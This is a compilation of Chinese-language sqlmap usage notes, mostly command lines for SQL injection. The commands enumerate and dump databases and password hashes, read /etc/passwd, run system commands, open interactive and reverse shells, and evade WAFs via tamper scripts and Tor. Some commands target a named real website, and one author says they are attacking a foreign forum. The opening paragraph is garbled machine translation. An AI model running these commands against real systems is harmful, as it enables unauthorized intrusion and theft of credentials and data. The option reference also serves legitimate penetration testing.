sqlmap 是一個自動SQL 射入工具。它是可勝任執(zhí)行一個廣泛的數(shù)據(jù)庫管理系統(tǒng)后端指印, 檢索遙遠(yuǎn)的DBMS 數(shù)據(jù)庫, usernames, 桌, 專欄, 列舉整個DBMS, 讀了系統(tǒng)文件和利用導(dǎo)致SQL 射入弱點(diǎn)的網(wǎng)應(yīng)用編程的安全漏洞。

有許多其它SQL 射入工具在網(wǎng), 但我不能發(fā)現(xiàn)任何人適合所有我的需要因此我感到需要在我的滲透測試期間給成功地寫我自己的工具測試, 辨認(rèn)和利用網(wǎng)應(yīng)用的SQL 射入在安全上的弱點(diǎn)。

sqlmap簡單中文說明

首先下載需要的文件，如果是windows環(huán)境直接到http://www.dbjr.com.cn/softs/63591.html下載安裝所需要的文件即可。

這個東西，是mickey整理的，不多說了，尊重一下原作者，轉(zhuǎn)載注明mickey整理就好了

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //執(zhí)行SQL語句

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更詳細(xì)的信息

load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″


使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData來抓cookies
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1

使用referer欺騙
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3

使用自定義user-agent,或者使用隨機(jī)使用自帶的user-agents.txt
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt”

使用基本認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3

使用Digest認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3

使用代理,配合TOR
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:3128″
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:8118″

使用多線程猜解
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3

繞過動態(tài)檢測,直接指定有注入點(diǎn)的參數(shù),可以使用,分割多個參數(shù),指定user-agent注入
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”

指定數(shù)據(jù)庫,繞過SQLMAP的自動檢測
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL”

* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server

指定操作系統(tǒng),繞過SQLMAP自動檢測
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”

* Linux
* Windows

自定義payload
Options: –prefix and –postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT * FROM users WHERE id=(‘” . $_GET['id'] . “‘) LIMIT 0, 1″;:

$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’='test”

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1′) AND 7433=7433 AND (‘test’='test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

頁面比較
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “<td>lu[\w][\w]er” -v

排除網(wǎng)站的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”

多語句測試，php內(nèi)嵌函數(shù)mysql_query(),不支持多語句
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1

union注入測試
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1

unionz注入配合orderby
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs

fingerprint
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f
python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判斷當(dāng)前用戶是否是dba
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1

列舉數(shù)據(jù)庫用戶
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0

列舉數(shù)據(jù)庫用戶密碼
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0

查看用戶權(quán)限
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0

列數(shù)據(jù)庫
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0

列出指定數(shù)據(jù)庫指定表的列名
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1

列出指定數(shù)據(jù)庫的指定表的指定列的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0

指定列的范圍從2－4
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0

導(dǎo)出所有數(shù)據(jù)庫，所有表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0

只列出用戶自己新建的數(shù)據(jù)庫和表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0

sql query
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢復(fù)會話
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”

保存選項(xiàng)到INC配置文件
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save

sqlmap注入使用方法

今天搞國外的一個論壇。發(fā)現(xiàn)蘿卜和穿山甲都無法正常注入，實(shí)在沒辦法了 還是臨時學(xué)習(xí)了下國外的神器sqlmap的使用方法，，直接做個記錄、、
sqlmap -u “http://url/news?id=1″ –current-user #獲取當(dāng)前用戶名稱 sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當(dāng)前數(shù) 據(jù)庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name” #列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name” -D “db_name” -v
0 #獲取字段內(nèi)容
******************信息獲取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數(shù) 據(jù)庫類型
sqlmap -u “http://url/news?id=1″ –users #列數(shù)據(jù)庫用戶
sqlmap -u “http://url/news?id=1″ –dbs#列數(shù)據(jù)庫
sqlmap -u “http://url/news?id=1″ –passwords #數(shù)據(jù)庫用戶密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用戶 數(shù)據(jù)庫密碼
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename” -D “db_name”
–start 1 –stop 20 #列出指定字段，列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有數(shù)據(jù)庫所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看權(quán)限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用戶權(quán)限 sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是數(shù)據(jù)庫管理員 sqlmap -u “http://url/news?id=1″ –roles #枚舉數(shù)據(jù)庫用戶角色
sqlmap -u “http://url/news?id=1″ –udf-inject #導(dǎo)入用戶自定義函數(shù)（獲取 系統(tǒng)權(quán)限?。?
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當(dāng)前庫所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “http://url/news?id=1″ -b #獲取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″ #post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指紋判別數(shù)據(jù)庫類型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE” # 指 定關(guān)鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執(zhí)行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執(zhí)行系統(tǒng)命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統(tǒng)交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統(tǒng)注冊表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log” #保存進(jìn)度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復(fù) 已保存進(jìn)度
***********高級用法*************
-p name 多個參數(shù)如index.php?n_id=1&name=2&data=2020 我們想指定name參數(shù)進(jìn)行注入
sqlmap -g “google語法” –dump-all –batch #google搜索注入點(diǎn)自動 跑出 所有字段 需保證google.com能正常訪問
–technique 測試指定注入類型\使用的技術(shù)
不加參數(shù)默認(rèn)測試所有注入技術(shù)
• B: 基于布爾的 SQL 盲注
• E: 基于顯錯 sql 注入
• U: 基于 UNION 注入
• S: 疊層 sql 注入
• T: 基于時間盲注
–tamper 通過編碼繞過 WEB 防火墻（WAF） Sqlmap 默認(rèn)用 char()
–tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u “http://url/news?id=1″ –smart –level 3 –users # smart 智 能
level 執(zhí)行測試等級 攻擊實(shí)例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 通過 apt-get install 安裝的sqlmap版本為 0.6 我們通過svn 來安裝 為 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當(dāng)前用戶/sqlmap-dev/sqlmap.py 直接執(zhí)行 /home/當(dāng)前用戶/sqlmap-dev/sqlmap.py –version 這樣很不方便 我們可以設(shè)置 .bashrc 文件
sudo vim /home/當(dāng)前用戶/.bashrc
#任意位置加上：
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環(huán)境變量只對當(dāng)前用戶有效
如果想對所有用戶有效 可設(shè)置全局 編輯下面的文件
vim /etc/profile
同樣加上：
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啟生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環(huán)境變量
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出
-v VERBOSE 詳細(xì)級別：0-6（默認(rèn)為 1）
Target（目標(biāo)）： 以下至少需要設(shè)置其中一個選項(xiàng)，設(shè)置目標(biāo) URL。
-d DIRECT 直接連接到數(shù)據(jù)庫。
-u URL, –url=URL 目標(biāo) URL。
-l LIST 從 Burp 或 WebScarab 代理的日志中解析目標(biāo)。
-r REQUESTFILE 從一個文件中載入 HTTP 請求。
-g GOOGLEDORK 處理 Google dork 的結(jié)果作為目標(biāo) URL。
-c CONFIGFILE 從 INI 配置文件中加載選項(xiàng)。
Request（請求）：:
這些選項(xiàng)可以用來指定如何連接到目標(biāo) URL。
–data=DATA 通過 POST 發(fā)送的數(shù)據(jù)字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應(yīng)的 Set – Cookie 頭信息
–user-agent=AGENT 指定 HTTP User – Agent 頭
–random-agent 使用隨機(jī)選定的 HTTP User – Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開，加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗(yàn)證類型（基本，摘要或 NTLM）(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗(yàn)證憑據(jù)（用戶名:密碼）
–auth-cert=ACERT HTTP 認(rèn)證證書（key_file，cert_file）
–proxy=PROXY 使用 HTTP 代理連接到目標(biāo) URL
–proxy-cred=PCRED HTTP 代理身份驗(yàn)證憑據(jù)（用戶名：密碼）
–ignore-proxy 忽略系統(tǒng)默認(rèn)的 HTTP 代理
–delay=DELAY 在每個 HTTP 請求之間的延遲時間，單位為秒
–timeout=TIMEOUT 等待連接超時的時間（默認(rèn)為 30 秒）
–retries=RETRIES 連接超時后重新連接的時間（默認(rèn) 3）
–scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達(dá)式
–safe-url=SAFURL 在測試過程中經(jīng)常訪問的 url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求，給出安全的 URL
Optimization（優(yōu)化）： 這些選項(xiàng)可用于優(yōu)化 SqlMap 的性能。
-o 開啟所有優(yōu)化開關(guān)
–predict-output 預(yù)測常見的查詢輸出
–keep-alive 使用持久的 HTTP（S）連接
–null-connection 從沒有實(shí)際的 HTTP 響應(yīng)體中檢索頁面長度
–threads=THREADS 最大的 HTTP（S）請求并發(fā)量（默認(rèn)為 1）
Injection（注入）：
這些選項(xiàng)可以用來指定測試哪些參數(shù)， 提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(shù)（S）
–dbms=DBMS 強(qiáng)制后端的 DBMS 為此值
–os=OS 強(qiáng)制后端的 DBMS 操作系統(tǒng)為這個值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串后綴
–tamper=TAMPER 使用給定的腳本（S）篡改注入數(shù)據(jù)
Detection（檢測）：
這些選項(xiàng)可以用來指定在 SQL 盲注時如何解析和比較 HTTP 響應(yīng)頁面的內(nèi)容。
–level=LEVEL 執(zhí)行測試的等級（1-5，默認(rèn)為 1）
–risk=RISK 執(zhí)行測試的風(fēng)險（0-3，默認(rèn)為 1）
–string=STRING 查詢時有效時在頁面匹配字符串
–regexp=REGEXP 查詢時有效時在頁面匹配正則表達(dá)式
–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁
Techniques（技巧）： 這些選項(xiàng)可用于調(diào)整具體的 SQL 注入測試。
–technique=TECH SQL 注入技術(shù)測試（默認(rèn) BEUST）
–time-sec=TIMESEC DBMS 響應(yīng)的延遲時間（默認(rèn)為 5 秒）
–union-cols=UCOLS 定列范圍用于測試 UNION 查詢注入
–union-char=UCHAR 用于暴力猜解列數(shù)的字符
Fingerprint（指紋）：
-f, –fingerprint 執(zhí)行檢查廣泛的 DBMS 版本指紋
Enumeration（枚舉）：
這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外，您還可以運(yùn)行您自己 的 SQL 語句。
-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識
–current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
–current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫
–is-dba 檢測 DBMS 當(dāng)前用戶是否 DBA
–users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
–passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希
–privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限
–roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色
–dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫
–tables 枚舉的 DBMS 數(shù)據(jù)庫中的表
–columns 枚舉 DBMS 數(shù)據(jù)庫表列
–dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)
–dump-all 轉(zhuǎn)儲所有的 DBMS 數(shù)據(jù)庫表中的條目
–search 搜索列（S），表（S）和/或數(shù)據(jù)庫名稱（S）
-D DB 要進(jìn)行枚舉的數(shù)據(jù)庫名
-T TBL 要進(jìn)行枚舉的數(shù)據(jù)庫表
-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫列
-U USER 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶
–exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據(jù)庫
–start=LIMITSTART 第一個查詢輸出進(jìn)入檢索
–stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字符檢索
–last=LASTCHAR 最后查詢的輸出字字符檢索
–sql-query=QUERY 要執(zhí)行的 SQL 語句
–sql-shell 提示交互式 SQL 的 shell
Brute force（蠻力）： 這些選項(xiàng)可以被用來運(yùn)行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection（用戶自定義函數(shù)注入）： 這些選項(xiàng)可以用來創(chuàng)建用戶自定義函數(shù)。
–udf-inject 注入用戶自定義函數(shù)
–shared-lib=SHLIB 共享庫的本地路徑
File system access（訪問文件系統(tǒng)）： 這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。
–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件
–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件
–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑
Operating system access（操作系統(tǒng)訪問）： 這些選項(xiàng)可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。
–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令
–os-shell 交互式的操作系統(tǒng)的 shell
–os-pwn 獲取一個 OOB shell，meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個 OOB shell，meterpreter 或 VNC
–os-bof 存儲過程緩沖區(qū)溢出利用
–priv-esc 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠(yuǎn)程臨時文件目錄的絕對路徑
Windows 注冊表訪問： 這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng) Windows 注冊表。
–reg-read 讀一個 Windows 注冊表項(xiàng)值
–reg-add 寫一個 Windows 注冊表項(xiàng)值數(shù)據(jù)
–reg-del 刪除 Windows 注冊表鍵值
–reg-key=REGKEY Windows 注冊表鍵
–reg-value=REGVAL Windows 注冊表項(xiàng)值
–reg-data=REGDATA Windows 注冊表鍵值數(shù)據(jù)
–reg-type=REGTYPE Windows 注冊表項(xiàng)值類型
General（一般）： 這些選項(xiàng)可以用來設(shè)置一些一般的工作參數(shù)。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復(fù)檢索會話文件的所有數(shù)據(jù)
–flush-session 刷新當(dāng)前目標(biāo)的會話文件
–fresh-queries 忽略在會話文件中存儲的查詢結(jié)果
–eta 顯示每個輸出的預(yù)計(jì)到達(dá)時間
–update 更新 SqlMap
–save file 保存選項(xiàng)到 INI 配置文件
–batch 從不詢問用戶輸入，使用所有默認(rèn)配置。
Miscellaneous（雜項(xiàng)）：
–beep 發(fā)現(xiàn) SQL 注入時提醒
–check-payload IDS 對注入 payloads 的檢測測試
–cleanup SqlMap 具體的 UDF 和表清理 DBMS
–forms 對目標(biāo) URL 的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌 dork 結(jié)果
–page-rank Google dork 結(jié)果顯示網(wǎng)頁排名（PR）
–parse-errors 從響應(yīng)頁面解析數(shù)據(jù)庫管理系統(tǒng)的錯誤消息
–replicate 復(fù)制轉(zhuǎn)儲的數(shù)據(jù)到一個 sqlite3 數(shù)據(jù)庫
–tor 使用默認(rèn)的 Tor（Vidalia/ Privoxy/ Polipo）代理地址
–wizard 給初級用戶的簡單向?qū)Ы缑?

SQLMAP的部分用法

內(nèi)容摘自網(wǎng)絡(luò),整理:mer4en7y
1)判斷當(dāng)前用戶是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出數(shù)據(jù)庫管理系統(tǒng)用戶
python sqlmap.py -u "url" --users -v 0
3)--passwords:數(shù)據(jù)庫用戶密碼(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用戶權(quán)限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的數(shù)據(jù)庫
python sqlmap.py -u "url" --dbs -v 0
6)--tables列數(shù)據(jù)庫表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定數(shù)據(jù)名稱
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名，-D:指定庫名
8)--dump列表中指定列的內(nèi)容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范圍為2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有數(shù)據(jù)庫，所有表內(nèi)容
python sqlmap.py -u "url" --dump-all -v 0
只列出用戶自己新建的數(shù)據(jù)庫和表的內(nèi)容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file讀取文件內(nèi)容[load_file()函數(shù)]
python sqlmap.py -u "url" --file /etc/password
11)執(zhí)行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定參數(shù)
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多參數(shù)-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺騙
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定義user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多線程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定數(shù)據(jù)庫，繞過SQLMAP的自動檢測
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系統(tǒng)繞過SQLMAP自動檢測
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定義payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入測試
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs

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